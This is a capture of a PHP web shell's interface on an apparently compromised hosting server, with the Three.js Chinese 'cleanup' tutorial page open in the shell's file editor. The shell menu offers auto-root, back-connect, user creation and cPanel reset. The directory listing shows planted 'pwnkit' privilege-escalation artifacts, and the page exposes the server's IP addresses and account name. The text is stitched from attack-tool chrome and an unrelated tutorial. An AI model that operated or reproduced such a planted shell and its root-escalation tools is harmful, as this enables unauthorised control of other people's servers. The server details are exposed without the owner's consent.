Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.191.186.194
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
zh /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
align-html-elements-to-3d.html
32.22
KB
-rw-r--r--
backgrounds.html
14.45
KB
-rw-r--r--
billboards.html
15.58
KB
-rw-r--r--
cameras.html
27.22
KB
-rw-r--r--
canvas-textures.html
18.39
KB
-rw-r--r--
cleanup.html
17.36
KB
-rw-r--r--
custom-buffergeometry.html
23.18
KB
-rw-r--r--
debugging-glsl.html
6.52
KB
-rw-r--r--
debugging-javascript.html
29.66
KB
-rw-r--r--
fog.html
13.8
KB
-rw-r--r--
fundamentals.html
26.4
KB
-rw-r--r--
game.html
1.63
KB
-rw-r--r--
indexed-textures.html
29.6
KB
-rw-r--r--
lang.css
128
B
-rw-r--r--
lights.html
31.49
KB
-rw-r--r--
load-gltf.html
32.08
KB
-rw-r--r--
load-obj.html
32.14
KB
-rw-r--r--
material-table.html
1.87
KB
-rw-r--r--
materials.html
18.42
KB
-rw-r--r--
multiple-scenes.html
30.3
KB
-rw-r--r--
offscreencanvas.html
42.7
KB
-rw-r--r--
optimize-lots-of-objects-anima...
21.74
KB
-rw-r--r--
optimize-lots-of-objects.html
23.04
KB
-rw-r--r--
picking.html
20.44
KB
-rw-r--r--
post-processing-3dlut.html
1.67
KB
-rw-r--r--
post-processing.html
15.63
KB
-rw-r--r--
prerequisites.html
16.58
KB
-rw-r--r--
primitives.html
23.5
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
rendering-on-demand.html
11.88
KB
-rw-r--r--
rendertargets.html
7.87
KB
-rw-r--r--
responsive.html
15.17
KB
-rw-r--r--
scenegraph.html
29.01
KB
-rw-r--r--
setup.html
4.22
KB
-rw-r--r--
shadertoy.html
1.65
KB
-rw-r--r--
shadows.html
26.03
KB
-rw-r--r--
textures.html
31.67
KB
-rw-r--r--
tips.html
16.38
KB
-rw-r--r--
transparency.html
19.22
KB
-rw-r--r--
voxel-geometry.html
1.69
KB
-rw-r--r--
webxr-basics.html
1.6
KB
-rw-r--r--
webxr-look-to-select.html
1.66
KB
-rw-r--r--
webxr-point-to-select.html
1.68
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cleanup.html
<!DOCTYPE html><html lang="zh"><head> <meta charset="utf-8"> <title>清除</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – Cleanup"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> </head> <body> <div class="container"> <div class="lesson-title"> <h1>清除</h1> </div> <div class="lesson"> <div class="lesson-main"> <p>Three.js应用经常使用大量的内存。一个3D模型的所有节点,可能占用1-20M内存。 一个模型可能会使用很多纹理,即使它们被压缩成了图片文件,也必须被展开成为未压缩的形态来使用。每个 1024 x 1024 大小的纹理会占用4-5M内存。</p> <p>大多数的three.js应用在初始化的时候加载资源,并且一直使用这些资源直到页面关闭。但是,如果你想随时间的变动加载和改变资源怎么办呢?</p> <p>不像大多数的JavaScript库,three.js不能自动的清除这些资源。 如果你切换页面,浏览器会清除这些资源,其它时候如何管理它们取决于你。这是WebGL设计的问题,three.js没有追索权只能将释放资源的责任托付给你。</p> <p>通过在<a href="textures.html">纹理</a>、 <a href="primitives.html">图元</a>和 <a href="materials.html">材质</a>对象上调用<code class="notranslate" translate="no">dispose</code>方法来释放资源 </p> <p>你可以手动来处理。起初,你可能创建了一些资源。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const boxGeometry = new THREE.BoxGeometry(...); const boxTexture = textureLoader.load(...); const boxMaterial = new THREE.MeshPhongMaterial({map: texture}); </pre> <p>然后,当你处理完了它们,可以释放它们</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">boxGeometry.dispose(); boxTexture.dispose(); boxMaterial.dispose(); </pre> <p>随着你使用越来越多的资源,这将会变得越来越乏味。</p> <p>为了减少一些乏味的工作,让我们创建一个类来跟踪这些资源。我们会请求这个类来帮我们做清除的工作。 </p> <p>这个类一开始是这个样子。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class ResourceTracker { constructor() { this.resources = new Set(); } track(resource) { if (resource.dispose) { this.resources.add(resource); } return resource; } untrack(resource) { this.resources.delete(resource); } dispose() { for (const resource of this.resources) { resource.dispose(); } this.resources.clear(); } } </pre> <p>让我们在<a href="textures.html">纹理文章</a>中的例子中使用这个类。我们可以创建一个这个类的实例。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const resTracker = new ResourceTracker(); </pre> <p>然后为了让这个类的使用更加地简单,让我们来为<code class="notranslate" translate="no">track</code>方法创建一个绑定函数。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const resTracker = new ResourceTracker(); +const track = resTracker.track.bind(resTracker); </pre> <p>现在,我们只需要在我们创建的每个图元、纹理、材质对象上调用<code class="notranslate" translate="no">track</code>方法就可以使用它。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const boxWidth = 1; const boxHeight = 1; const boxDepth = 1; -const geometry = new THREE.BoxGeometry(boxWidth, boxHeight, boxDepth); +const geometry = track(new THREE.BoxGeometry(boxWidth, boxHeight, boxDepth)); const cubes = []; // an array we can use to rotate the cubes const loader = new THREE.TextureLoader(); -const material = new THREE.MeshBasicMaterial({ - map: loader.load('resources/images/wall.jpg'), -}); +const material = track(new THREE.MeshBasicMaterial({ + map: track(loader.load('resources/images/wall.jpg')), +})); const cube = new THREE.Mesh(geometry, material); scene.add(cube); cubes.push(cube); // add to our list of cubes to rotate </pre> <p>然后,我们从场景中移除这些立方体,再然后调用<code class="notranslate" translate="no">resTracker.dispose</code>来释放它们。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">for (const cube of cubes) { scene.remove(cube); } cubes.length = 0; // clears the cubes array resTracker.dispose(); </pre> <p>这起作用了,但是我发现必须从场景中移除立方体有些乏味。让我们给<code class="notranslate" translate="no">ResourceTracker</code>增加这个功能。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class ResourceTracker { constructor() { this.resources = new Set(); } track(resource) { - if (resource.dispose) { + if (resource.dispose || resource instanceof THREE.Object3D) { this.resources.add(resource); } return resource; } untrack(resource) { this.resources.delete(resource); } dispose() { for (const resource of this.resources) { - resource.dispose(); + if (resource instanceof THREE.Object3D) { + if (resource.parent) { + resource.parent.remove(resource); + } + } + if (resource.dispose) { + resource.dispose(); + } + } this.resources.clear(); } } </pre> <p>现在我们可以跟踪这些立方体了</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const material = track(new THREE.MeshBasicMaterial({ map: track(loader.load('resources/images/wall.jpg')), })); const cube = track(new THREE.Mesh(geometry, material)); scene.add(cube); cubes.push(cube); // add to our list of cubes to rotate </pre> <p>我们不再需要编码从场景中移除这些立方体了。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-for (const cube of cubes) { - scene.remove(cube); -} cubes.length = 0; // clears the cube array resTracker.dispose(); </pre> <p>让我们来调整一下代码,这样我们可以重新添加立方体、纹理和材质。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const scene = new THREE.Scene(); *const cubes = []; // just an array we can use to rotate the cubes +function addStuffToScene() { const resTracker = new ResourceTracker(); const track = resTracker.track.bind(resTracker); const boxWidth = 1; const boxHeight = 1; const boxDepth = 1; const geometry = track(new THREE.BoxGeometry(boxWidth, boxHeight, boxDepth)); const loader = new THREE.TextureLoader(); const material = track(new THREE.MeshBasicMaterial({ map: track(loader.load('resources/images/wall.jpg')), })); const cube = track(new THREE.Mesh(geometry, material)); scene.add(cube); cubes.push(cube); // add to our list of cubes to rotate + return resTracker; +} </pre> <p>让我们来编写一些随着时间变动添加和移除物体的代码。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function waitSeconds(seconds = 0) { return new Promise(resolve => setTimeout(resolve, seconds * 1000)); } async function process() { for (;;) { const resTracker = addStuffToScene(); await wait(2); cubes.length = 0; // remove the cubes resTracker.dispose(); await wait(1); } } process(); </pre> <p>代码将会创建立方体、纹理和材质,等待2秒,然后释放它们,然后等待1秒,重复这个过程。</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cleanup-simple.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cleanup-simple.html" target="_blank">点击此处打开独立窗口</a> </div> <p></p> <p>这好像能工作了。</p> <p>对于加载文件来说,还需要一点额外的工作。大多数的加载器仅仅返回一个<a href="/docs/#api/en/core/Object3D"><code class="notranslate" translate="no">Object3D</code></a> 对象,作为它加载的层次对象的根节点,因此我们需要去发现所有的这些资源是哪些。</p> <p>让我们更新<code class="notranslate" translate="no">ResourceTracker</code>来试着去实现它。</p> <p>首先,我们来检测这个物体是否是一个<a href="/docs/#api/en/core/Object3D"><code class="notranslate" translate="no">Object3D</code></a>,然后跟踪它的图元、材质和子对象。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class ResourceTracker { constructor() { this.resources = new Set(); } track(resource) { if (resource.dispose || resource instanceof THREE.Object3D) { this.resources.add(resource); } + if (resource instanceof THREE.Object3D) { + this.track(resource.geometry); + this.track(resource.material); + this.track(resource.children); + } return resource; } ... } </pre> <p>现在,因为任意的<code class="notranslate" translate="no">resource.geometry</code>、<code class="notranslate" translate="no">resource.material</code>和<code class="notranslate" translate="no">resource.children</code>有可能为null或undefined, 我们将在<code class="notranslate" translate="no">track</code>的入口执行检查。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class ResourceTracker { constructor() { this.resources = new Set(); } track(resource) { + if (!resource) { + return resource; + } if (resource.dispose || resource instanceof THREE.Object3D) { this.resources.add(resource); } if (resource instanceof THREE.Object3D) { this.track(resource.geometry); this.track(resource.material); this.track(resource.children); } return resource; } ... } </pre> <p>同时,因为<code class="notranslate" translate="no">resource.children</code>是一个数组, 同时<code class="notranslate" translate="no">resource.material</code>也可能是数组,让我们对数组做检测。 </p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class ResourceTracker { constructor() { this.resources = new Set(); } track(resource) { if (!resource) { return resource; } + // handle children and when material is an array of materials. + if (Array.isArray(resource)) { + resource.forEach(resource => this.track(resource)); + return resource; + } if (resource.dispose || resource instanceof THREE.Object3D) { this.resources.add(resource); } if (resource instanceof THREE.Object3D) { this.track(resource.geometry); this.track(resource.material); this.track(resource.children); } return resource; } ... } </pre> <p>最后我们需要遍历这些材质的属性和uniforms来寻找纹理。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class ResourceTracker { constructor() { this.resources = new Set(); } track(resource) { if (!resource) { return resource; } * // handle children and when material is an array of materials or * // uniform is array of textures if (Array.isArray(resource)) { resource.forEach(resource => this.track(resource)); return resource; } if (resource.dispose || resource instanceof THREE.Object3D) { this.resources.add(resource); } if (resource instanceof THREE.Object3D) { this.track(resource.geometry); this.track(resource.material); this.track(resource.children); - } + } else if (resource instanceof THREE.Material) { + // We have to check if there are any textures on the material + for (const value of Object.values(resource)) { + if (value instanceof THREE.Texture) { + this.track(value); + } + } + // We also have to check if any uniforms reference textures or arrays of textures + if (resource.uniforms) { + for (const value of Object.values(resource.uniforms)) { + if (value) { + const uniformValue = value.value; + if (uniformValue instanceof THREE.Texture || + Array.isArray(uniformValue)) { + this.track(uniformValue); + } + } + } + } + } return resource; } ... } </pre> <p>让我们来使用<a href="load-gltf.html">“加载gltf文件文章“</a>中的例子,让它能够加载和释放文件。</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const gltfLoader = new GLTFLoader(); function loadGLTF(url) { return new Promise((resolve, reject) => { gltfLoader.load(url, resolve, undefined, reject); }); } function waitSeconds(seconds = 0) { return new Promise(resolve => setTimeout(resolve, seconds * 1000)); } const fileURLs = [ 'resources/models/cartoon_lowpoly_small_city_free_pack/scene.gltf', 'resources/models/3dbustchallange_submission/scene.gltf', 'resources/models/mountain_landscape/scene.gltf', 'resources/models/simple_house_scene/scene.gltf', ]; async function loadFiles() { for (;;) { for (const url of fileURLs) { const resMgr = new ResourceTracker(); const track = resMgr.track.bind(resMgr); const gltf = await loadGLTF(url); const root = track(gltf.scene); scene.add(root); // compute the box that contains all the stuff // from root and below const box = new THREE.Box3().setFromObject(root); const boxSize = box.getSize(new THREE.Vector3()).length(); const boxCenter = box.getCenter(new THREE.Vector3()); // set the camera to frame the box frameArea(boxSize * 1.1, boxSize, boxCenter, camera); await waitSeconds(2); renderer.render(scene, camera); resMgr.dispose(); await waitSeconds(1); } } } loadFiles(); </pre> <p>然后我们得到了</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/cleanup-loaded-files.html"></iframe></div> <a class="threejs_center" href="/manual/examples/cleanup-loaded-files.html" target="_blank">点击此处在独立窗口中打开</a> </div> <p></p> <p>关于代码的一些注释。</p> <p>如果我们想要加载2个或者更多的文件,并且想要随时地释放它们,我们将要每个文件使用一个<code class="notranslate" translate="no">ResourceTracker</code>。</p> <p>在上面中,我们只是在场景加载之后跟踪了<code class="notranslate" translate="no">gltf.scene</code>。 根据<code class="notranslate" translate="no">ResourceTracker</code>的当前实现版本,它会跟踪刚刚加载的所有资源。如果我们向场景中添加了更多的资源,我们需要决定是否要跟踪它们。 </p> <p>举例来说,在我们加载了一个角色之后,我们把一个工具放入它的手中,这是通过把工具成为手的子对象来实现的。因此工具将不会被释放。我猜更多的时候,这不是我们想要的。</p> <p>这带来了一个问题。当我起初写上面的<code class="notranslate" translate="no">ResourceTracker</code>的时候, 我是在<code class="notranslate" translate="no">dispose</code>方法中遍历所有对象而不是在 <code class="notranslate" translate="no">track</code>方法中。稍后,我就想到了上面的成为手的子对象的工具的这个例子, 在<code class="notranslate" translate="no">track</code>方法中确切地跟踪哪些对象需要被释放更加地灵活,按理来说也更加地准确,因为我们可以跟踪从文件中加载了什么,而不是稍后从资源图中释放状态。 </p> <p>诚实地说,我对ResourceTracker并不是100%满意。在3D引擎中,做这样的事情并不是很常见。我们不应该去猜测什么资源被加载了,我们应该知道。 如果three.js能做出改变,所有的文件加载器返回能够引用所有加载资源的标准对象,就太好了。至少在这个时候,three.js在场景加载的时候并没有提供给我们其它的信息。因此,这个方法是有效的。</p> <p>我希望这个例子能给你带来帮助或者至少成为在three.js中如何释放资源的一份好的参考</p> </div> </div> </div> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body></html>
Close